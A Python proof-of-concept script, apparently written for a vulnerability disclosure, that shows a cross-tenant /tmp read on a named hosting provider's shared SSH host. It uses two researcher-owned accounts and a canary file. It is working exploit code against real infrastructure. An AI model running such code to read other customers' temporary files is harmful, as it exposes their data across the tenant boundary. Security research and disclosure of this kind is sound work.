#!/usr/bin/env python3
"""
F-01 PoC — cross-tenant /tmp read on alwaysdata SSH host ssh1.

alwaysdata shares ONE /tmp (mode drwxrwxrwt 1777, NOT polyinstantiated)
across all customer accounts on a physical SSH host. The platform default
umask is 022, so any file a customer creates in /tmp is world-readable
(mode 644). Result: any customer with an SSH shell can read another
customer's /tmp files on the same host.

This PoC mirrors the real reproduction:
  - Account A (writer)  writes a world-readable canary into shared /tmp.
  - Account B (reader, a DIFFERENT tenant/UID) reads it back.
Both accounts are owned by the researcher — zero third-party data touched.

Requires: pip install paramiko
Fill in the key paths (or swap key_filename for password=...) before running.
"""
import paramiko

# --- Account A (writer): slug steve-william, uid 530469 -> host ssh1 ---
A_HOST = "ssh-steve-william.alwaysdata.net"
A_USER = "steve-william"
A_KEY  = "/path/to/id_ed25519_accountA"     # or: A_PASS = "..."

# --- Account B (reader): slug test-domain, uid 530478 (DIFFERENT tenant) -> host ssh1 ---
B_HOST = "ssh-test-domain.alwaysdata.net"
B_USER = "test-domain"
B_KEY  = "/path/to/id_ed25519_accountB"     # or: B_PASS = "..."

CANARY = "/tmp/CANARY_A_secret_9f2b7c1e_ONLY_A_WROTE_THIS.txt"
SECRET = "CANARY_A_secret_9f2b7c1e_ONLY_A_WROTE_THIS"


def connect(host, user, key):
    c = paramiko.SSHClient()
    c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    c.connect(host, username=user, key_filename=key)  # add password=... if no key
    return c


def run(c, cmd):
    _, out, err = c.exec_command(cmd)
    return out.read().decode().strip(), err.read().decode().strip()


def main():
    # Step 1 — Account A writes the world-readable canary into shared /tmp
    a = connect(A_HOST, A_USER, A_KEY)
    write_cmd = (
        f'echo "{SECRET} :: written by account steve-william(A) at '
        f'$(date -u) uid=$(id -u)" > {CANARY} && chmod 644 {CANARY} && '
        f'stat -c "%n owner=%U mode=%a" {CANARY}'
    )
    w_out, _ = run(a, write_cmd)
    print("[A] wrote:", w_out)
    a.close()

    # Step 2 — Account B (different tenant) reads Account A's file
    b = connect(B_HOST, B_USER, B_KEY)
    umask_out, _ = run(b, "umask")
    stat_out, _  = run(b, f'stat -c "%n owner=%U mode=%a" {CANARY}')
    cat_out, _   = run(b, f"cat {CANARY}")
    b.close()

    print("[B] umask:", umask_out)                 # expect 0022
    print("[B] stat (A-owned):", stat_out)         # owner=steve-william mode=644
    print("[B] cross-tenant read:", cat_out)       # A's canary line

    assert SECRET in cat_out, "cross-tenant read FAILED"
    print("\n[+] CONFIRMED: Account B read Account A's /tmp file across the tenant boundary.")


if __name__ == "__main__":
    main()
